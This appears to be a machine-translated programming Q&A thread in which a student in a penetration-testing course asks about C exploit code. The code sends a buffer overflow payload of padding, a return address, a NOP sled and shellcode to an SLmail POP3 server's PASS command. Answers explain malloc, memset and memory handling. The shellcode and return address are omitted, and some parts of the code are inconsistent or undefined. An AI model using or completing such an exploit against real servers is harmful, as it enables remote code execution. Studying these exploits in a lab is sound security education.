C 使用SLmail 643并了解如何使用它
我正在学习一门课程,它要求我根据自己的具体情况操作c代码。我理解其中的大部分,但是我在理解bellow使用的几个c特定变量时遇到了一些困难。注:我已经删除了部分代码,但是保留了问题区域 我也不是要你做我的作业,我只是需要一些帮助来理解一些领域,这样我就可以自己做了。一个有益的推动,或者一个暴力的推动C 使用SLmail 643并了解如何使用它,c,exploit,C,Exploit,我正在学习一门课程,它要求我根据自己的具体情况操作c代码。我理解其中的大部分,但是我在理解bellow使用的几个c特定变量时遇到了一些困难。注:我已经删除了部分代码,但是保留了问题区域 我也不是要你做我的作业,我只是需要一些帮助来理解一些领域,这样我就可以自己做了。一个有益的推动,或者一个暴力的推动 #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <sys/socket
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#define retadd "\x\x\x\x" */I removed the memory return*/
#define port 110
char buf[] = "Stuff will be put here"
struct sockaddr_in plm,lar,target;
int conn(char *ip)
{
int sockfd;
plm.sin_family = AF_INET;
plm.sin_port = htons(port);
plm.sin_addr.s_addr = inet_addr(ip);
bzero(&(plm.sin_zero),8);
sockfd = socket(AF_INET,SOCK_STREAM,0);
if((connect(sockfd,(struct sockaddr *)&plm,sizeof(struct sockaddr))) < 0)
{
perror("[-] connect error!");
exit(0);
}
printf("[*] Connected to: %s.\n",ip);
return sockfd;
}
int main(int argc, char *argv[])
{
int xs;
char out[1024];
char *buffer = malloc(2958);
memset(buffer, 0x00, 2958);
char *off = malloc(2606);
memset(off, 0x00, 2606);
memset(off, 0x41, 2605);
char *nop = malloc(16);
memset(nop, 0x00, 8);
memset(nop, 0x90, 16);
strcat(buffer, off);
strcat(buffer, retadd);
strcat(buffer, nop);
strcat(buffer, shellcode);
printf("[+] SLMAIL Connection \n");
xs = conn("192.168.31.29");
read(xs, out, 1024);
printf("[*] %s", out);
write(xs,"USER username\r\n", 15);
read(xs, out, 1024);
printf("[*] %s", out);
write(xs,"PASS ",5);
write(xs,buffer,strlen(buffer));
printf("insert len: %d bytes\n",strlen(insert));
printf("Buffer len: %d bytes\n",strlen(buffer));
write(xs,"\r\n",4);
close(xs);
}
在malloc2606下,这是在内存中注册特定点所需的字节大小,为什么十六进制'a'的2605会减少1个字节
char *off = malloc(2606);
memset(off, 0x00, 2606);
memset(off, 0x41, 2605);
我再一次明白,这将向缓冲区添加7x90,但是malloc和0x00在这里的意义是什么
char *nop = malloc(8);
memset(nop, 0x00, 8);
memset(nop, 0x90, 7);
谢谢。快速查看手册页会发现,malloc保留参数中规定的内存字节数,并返回指向该内存的指针,memset用传递的字节值填充内存范围
char *nop = malloc(8); // allocate 8 bytes of memory
memset(nop, 0x00, 8); // fill those 8 bytes with 0x00
memset(nop, 0x90, 7); // fill the first 7 bytes with 0x70
这样做的一个原因可能是,第一个是例行初始化,第二个是初始化以nul结尾的字符串。注意malloc不会初始化内存,分配的内存处于未定义状态
但是我看不到-calloc与malloc的作用相同,但也用0填充分配的内存
无论您使用malloc、calloc还是realloc,您都应该养成经常检查结果的习惯
char *nop = malloc(8);
if (nop == NULL) { ... /* failure code */ }
另一个小点,连续四个strcatbuffer中的第一个,。。。语句只起作用,因为缓冲区已初始化。这是一个糟糕的做法:第一个strcat作为strcpy会更好
当我在这里的时候,这需要终止;编撰
char buf[] = "Stuff will be put here"
将只保留消息长度保留的字节数:22
最后,您在main中为其分配内存的那些char*缓冲区——应该在程序结束时通过调用
free(buffer);
free(nop);
等等。从利用漏洞的角度来看,0x00在某些情况下可能被视为坏字符并可能导致应用程序停止,这是否重要?或者,由于我们正在编译它,这是否无关紧要?看起来0x00 Null只是被覆盖了,不相关。您必须使用空值来清除空间吗?或者这是一种良好的编程实践吗?我不知道程序员的意图是什么。0或0x00或NULL不是一个坏字符。它们只是表示同一事物的不同方式,如果NULL为0,则不能保证为0。我只是对你的问题发表评论。但鉴于这是一个学校的问题,有时他们给你的代码必须改进!注意,我在回答中引用的关于nop的叙述与代码char*nop=malloc16不匹配;memsetnop,0x00,8;memsetnop,0x90,16;为什么要将16个字节中的8个字节归零,然后将所有16个字节都设置为零?
free(buffer);
free(nop);